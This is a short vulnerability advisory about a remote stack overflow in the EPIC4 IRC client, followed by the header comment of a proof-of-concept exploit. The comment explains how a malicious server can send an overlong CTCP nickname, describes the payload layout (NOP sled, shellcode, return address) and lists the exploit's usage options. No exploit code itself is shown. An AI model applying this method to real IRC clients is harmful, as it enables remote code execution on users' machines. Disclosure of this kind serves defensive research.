A remotely exploitable buffer overrun has been reported in Epic. This issue may reportedly be exploited by a malicious server that supplies an overly long nickname in a CTCP messages, potentially allowing for execution of arbitrary code in the context of the client user. It may be also be possible for a malicious client to send such a message, but it is likely that the server will limit the length.

/* EPIC4 remote client-side stack-based overflow
 * by Li0n7 - Li0n7[at]voila[dot]fr
 *
 * EPIC4 versions later than pre2.003 are prone to a remotly exploitable
 * stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
 * strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
 * doesn't perform any boundary checking, will return a negative pointer
 * As a matter of fact, snprintf is called with a negative value as
 * maximum data lenght to write at *putbuf2 address (pointing to somewhere
 * inside the stack). Since we can control the content of the buffer written
 * at *putbuf2 address without any boundary checking, we can easily execute
 * arbitrary code.
 *
 * This little proof-of-concept code demonstrates the exploitation of the
 * bug discussed here: http://www.securitytracker.com/alerts/2003/Nov/1008131.html
 *
 * This exploit works as a fake IRC server, waiting for connection and then
 * trying to take advantage of the vulnerabilty by sending a specially CTCP
 * request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n
 * This code needs a few changes to work as a bouncer and more targets to be
 * really efficient.
 *
 * usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
 *      -p: wait for connection on port <PORT>
 *      -t: choose the target among the platforms available
 *      -f: use <FILE> datas as welcome message
 *      -r: use <RET> as return address
